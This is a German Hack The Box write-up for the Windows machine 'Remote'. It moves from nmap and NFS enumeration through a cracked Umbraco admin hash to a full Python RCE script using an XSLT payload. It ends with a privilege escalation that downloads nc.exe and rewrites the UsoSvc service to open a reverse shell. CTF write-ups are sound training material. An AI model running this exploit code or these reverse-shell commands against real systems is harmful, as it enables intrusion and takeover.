Writeup

Remote (Hack The Box) — Write-up

Thumbnail_Remote

This post is also available in: Deutsch

HTB_remote_stats

Remote ist eine Windows-Maschine, die sich verhältnismäßig straight-forward exploiten lässt. Es sind dabei keine allzu großen Enumerationen oder gezieltes Raten notwendig. Größtenteils geht es darum, die richtigen CVEs zu finden und einen funktionierenden Exploit zu bauen. In folgendem Write-Up erklär ich, wie wir uns über eine einfache Remote Command Execution in einer Webanwendung bis hin zu SYSTEM Berechtigungen hangeln, ohne jemals Active Directory Zugangsdaten zu verwenden.

Basic Enumeration


Zuerst führen wir wie immer einen nmap-Scan durch, um die laufenden Services und offenen Ports zu identifizieren

nmap -sC -sV -v -p- -oN nmap.txt 10.10.10.180

-sC – Default Script Scan
-sV – Service/Version Scan
-v – Verbose (um bereits während des laufenden Scans offene Ports zu sehen)
-p- – Äquivalent zu -p1-65535 (Scan alle möglichen Ports)
-oN – Output speichern im Text-File nmap.txt

Nmap – Output

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  mountd        1-3 (RPC #100005)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 2m29s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-04-11T16:56:47
|_  start_date: N/A

Dabei sticht uns zum einen sofort die Webanwendung auf Port 80 sowie die rpc Informationen über einen NFS Service ins Auge.

Wer bereits einige andere Windows-Maschinen erfolgreich gemeistert hat, dem wird auch Port 5985 direkt auffallen. In der Vergangenheit lies sich darüber oftmals mit Evil-WinRM und validen AD-Zugangsdaten eine Remote Shell ausführen (wie sich im weiteren Verlauf zeigt, ist der Service in diesem Fall aber nicht von Relevanz).

Port 80 – HTTP

Bei der Webanwendung unter http://10.10.10.180/ handelt es sich um die Homepage der Firma ACME (geläufiger Name für ein fiktives Unternehmen).

HTB_remote_ACME
Startseite der Webanwendung unter http://10.10.10.180/

Die Seiteninhalte sind quasi alle uninteressant und lediglich Dummy-Texte. Auf der Unterseite /contact finden wir aber letztendlich folgende Fehlermeldung:

HTB_remote_UmbracoForms
Fehlermeldung mit dem Hinweis auf das Umbraco CMS

Dadurch wissen wir, dass für den Betrieb der Anwendung Umbraco als CMS eingesetzt wird. Die Login-Seite für das Admin-Interface finden wir standardmäßig unter /umbraco/#/login.

HTB_remote_UmbracoLogin
Login-Seite zum Umbraco Admin-Interface

Die Eingabe von Standardzugangsdaten (admin:admin, admin:password …) führt aber zu keinem schnellen Ergebnis.

Eine Suche mit searchsploit ergibt, dass für das CMS zwei interessante Exploits verfügbar sind, mit denen wir eventuell Remote Code Execution (RCE) erlangen können.

HTB_remote_Searchsploit
Auflistung bekannter Exploits für Umbraco

Bei dem Metasploit Modul handelt es sich um einen Exploit für die recht alte Umbraco Version 4.7.0.378 aus dem Jahr 2012. Wie zu erwarten war, wird auf dem Zielsystem (wahrscheinlich) eine neuere Version eingesetzt und die Payload kann nicht erfolgreich ausgeführt werden.

HTB_remote_MSFFail
Fehlgeschlagener Exploit für Umbraco Version 4.7.0.378

Der zweite verfügbare Exploit (Umbraco CMS 7.12.4 – (Authenticated) Remote Code Execution) erfordert zuerst eine authentifizierte Session. Da uns aktuell keine Benutzerdaten bekannt sind, sind wir hier mit unserer Suche erstmal ans Ende angelangt. Weiter gehts mit dem nächsten Service.

NFS Misconfiguration

Um zu testen, welche NFS Shares mit welchen Berechtigungen exportiert werden verwenden wir den Befehl showmount -e <target>:

HTB_remote_NFSShares
Auflistung der konfigurierten NFS Shares

Wie in der Ausgabe zu sehen ist, kann jeder auf das Verzeichnis /site_backups ohne die Angabe von Benutzerdaten zugreifen. Als nächstes mounten wir also das Backup-Verzeichnis auf unserem System:

mount -t nfs 10.10.10.180:/site_backups ~/HTB/remote/mnt -o nolock

An dieser Stelle bin ich tief ins Rabbit Hole eingetaucht und habe viel zu viel Zeit mit der Suche nach Informationen in Log-Dateien verbracht. Zumindest konnte ich dadurch die zwei Benutzerkonten und ausfindig machen:

2020-02-20 00:12:13,455 [P4408/D19/T40] INFO Umbraco.Core.Security.BackOfficeSignInManager - Event Id: 0, state: Login attempt succeeded for username  from IP address 192.168.195.1
2020-02-20 00:28:28,366 [P4408/D20/T6] INFO Umbraco.Core.Security.BackOfficeSignInManager - Event Id: 0, state: Login attempt failed for username  from IP address 192.168.195.1

Letztendlich konnte ich jedoch ein Backup der Umbraco-Datenbank unter /site_backups/App_Data/Umbraco.sdf finden. Nach ein paar erfolglosen Versuchen, die SDF-Datei in eine leicht auszulesende CSV-Datei zu konvertieren, hab ich irgendwann aufgegeben und die Datenbank mit einem Texteditor durchsucht.

In dem Durcheinander von nicht-darstellbaren Bytes können wir den SHA-1 Hash des Administrator-Passworts finden:

HTB_remote_UmbracoDB
SHA-1 gehashtes Administrator-Passwort in der Umbraco Datenbank

Wir könnten jetzt versuchen, den Hash b8be16afba8c314ad33d812f22a04991b90e2aaa selbst zu knacken, schneller geht es aber über eine der zahlreichen Online-Datenbanken, die bereits eine Vielzahl von Reverse Lookups anbieten.

Mit dem Benutzernamen und dem Passwort baconandcheese können wir uns nun in das Ubramco Admin-Interface unter http://10.10.10.180/umbraco/#/login einloggen. Hier sehen wir, dass tatsächlich die verwundbare Version 7.12.4 eingesetzt wird.

HTB_remote_UmbracoVersion
Erfolgreicher Login zeigt die eingesetzte Version

Getting User Privileges


Das bereits vorher erwähnte Exploit-Skript für die (Authenticated) Remote Code Execution ist lediglich ein PoC, welches sich mit den angegebenen Benutzerdaten anmeldet und anschließend einen Taschenrechner (calc.exe) auf dem Zielsystem öffnet. Auf dieser Grundlage habe ich jetzt nachfolgendes Python-Skript geschrieben, welches mir eine halbwegs sinnvolle Remote Shell ermöglicht:

rce.py

import requests
from bs4 import BeautifulSoup
import re
from cmd import Cmd

login = ""
password="baconandcheese"
host = "http://10.10.10.180"

# Step 1 - Get Main page
print("[*] Stage 1: Init Session")
s = requests.session()
url_main =host+"/umbraco/"
r1 = s.get(url_main)

# Step 2 - Process Login
print("[*] Stage 2: Login")
url_login = host+"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"
loginfo = {"username":login,"password":password}
r2 = s.post(url_login,json=loginfo)

class Terminal(Cmd):
    prompt = "$basto.digital> "

    def default(self, args):
        RunCmd(args)
    
def RunCmd(cmd):
    # Step 3 - Go to vulnerable web page
    url_xslt = host+"/umbraco/developer/Xslt/xsltVisualize.aspx"
    r3 = s.get(url_xslt)

    soup = BeautifulSoup(r3.text, 'html.parser')
    VIEWSTATE = soup.find(id="__VIEWSTATE")['value']
    VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value']
    UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN']
    headers = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN}
    payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
    xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
    <msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
    { string cmd = "'+ cmd.replace("\\", "\\\\").replace("'", "\\'").replace('"', '\\"') +'"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
    proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
    proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
    proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
    </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
    </xsl:template> </xsl:stylesheet> '

    data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"}

    # Step 4 - Launch the attack
    r4 = s.post(url_xslt,data=data,headers=headers)
    page = r4.text
    m = re.search(r'<div id=\"result\"><\?xml version=\"1.0" encoding=\"utf-16\"\?>(.*)</Div>', page, re.DOTALL)
    if m:
        print(m.group(1))
    else:
        print("[-] Error")
        print(payload)

term = Terminal()
term.cmdloop()
HTB_remote_RCEPY
Erfolgreiche Remote Code Execution mittels Python-Skript

Die Flagge user.txt des Benutzers finden wir letztendlich im Ordner C:\Users\Public:

HTB_remote_UserFlag
Auslesen der User Flagge

Escalating to SYSTEM


Nachdem wir es geschafft haben, einfache Benutzerberechtigungen auf dem System zu erlangen, ist der nächste Schritt, diese zu administrativen Berechtigungen auszuweiten. Um die Suche nach möglichen Ansatzpunkten zu automatisieren, verwenden wir die Windows Privilege Escalation Awesome Script Suite, kurz winPEAS.

Auf unsrem Kali-System starten wir mit sudo python -m SimpleHTTPServer 80 einen Python HTTP-Server, um die EXE-Datei zum Download bereitzustellen. Mittels PowerShell können wir dann winPEAS.exe in ein Verzeichnis, in welchem wir Schreibrechte besitzen, zum Beispiel C:\Users\Public\Downloads, herunterladen.

HTB_remote_WinPEASDL
Upload von winPEAS mittels Python HTTP Server

Der Output von winPEAS lässt sich leider nicht ohne weiteres über die Umbraco Python Shell ausgeben, da das Skript zu lange für die Ausführung benötigt und der HTTP-Request vorher in einen Timeout läuft. Wir könnten den Moment nutzen, um uns eine anständige Remote Shell einzurichten. Glücklicherweise steht uns aber auch ein leicht zugängliches NFS Share für den Datenaustausch bereit, welches direkt auf unsrem System gemountet ist. Der Einfachheit halber speichern wir den Output also einfach im /site_backups Verzeichnis.

/Users/Public/Downloads/winpeas.exe > /site_backups/winpeas.txt

WinPEAS weißt uns als erstes daraufhin, dass die eingesetzte Windows-Version 17763 verwundbar für mehrere Schwachstellen ist:

HTB_remote_WinPEASCVE

Darunter sind auch einige Privilege-Escalation-Lücke, mit denen wir theoretisch SYSTEM-Berechtigungen erlangen könnten. Jedoch ist dafür eine grafische Benutzeroberfläche erforderlich, da dies über das Menü des Internet Explorers passieren müsste.

Etwas weiter unten finden wir aber dann den Hinweis, dass wir den Service UsoSvc bearbeiten und auch neustarten können.

HTB_remote_WinPEASUsoSVC

Im Windows Privilege Escalation Guide von PayloadAllTheThings finden sich dazu einige Beispiele, wie die Konfiguration des Service so angepasst werden kann, dass damit eine Remote Shell mittels netcat aufgebaut werden kann (CVE-2019-1322).

Zuerst laden wir uns dafür eine portable Version von netcat von unsrem System auf das Zielsystem:

(new-object System.Net.WebClient).DownloadFile('http://10.10.16.122/nc.exe','C:\Users\Public\Downloads\nc.exe')

Anschließend passen wir die Konfiguration von UsoSvc so an, dass beim Start des Service mittels nc.exe eine Verbindung zu unsrem System hergestellt wird:

sc.exe config UsoSvc binpath="cmd /c C:\Users\Public\Downloads\nc.exe 10.10.16.122 4444 -e cmd.exe"
[SC] ChangeServiceConfig SUCCESS

Abschließend stoppen wir UsoSvc und starten diesen erneut, um unsre angepasste Konfiguration einzulesen und die Remote Verbindung herzustellen.

HTB_remote_RestartUsoSVC
HTB_remote_SYSTEMShell

Damit haben wir ab jetzt die volle Kontrolle über die Maschine und können uns zu guter Letzt noch die Root-Flagge unter C:\Users\Administrator\root.txt auslesen:

HTB_remote_RootFlag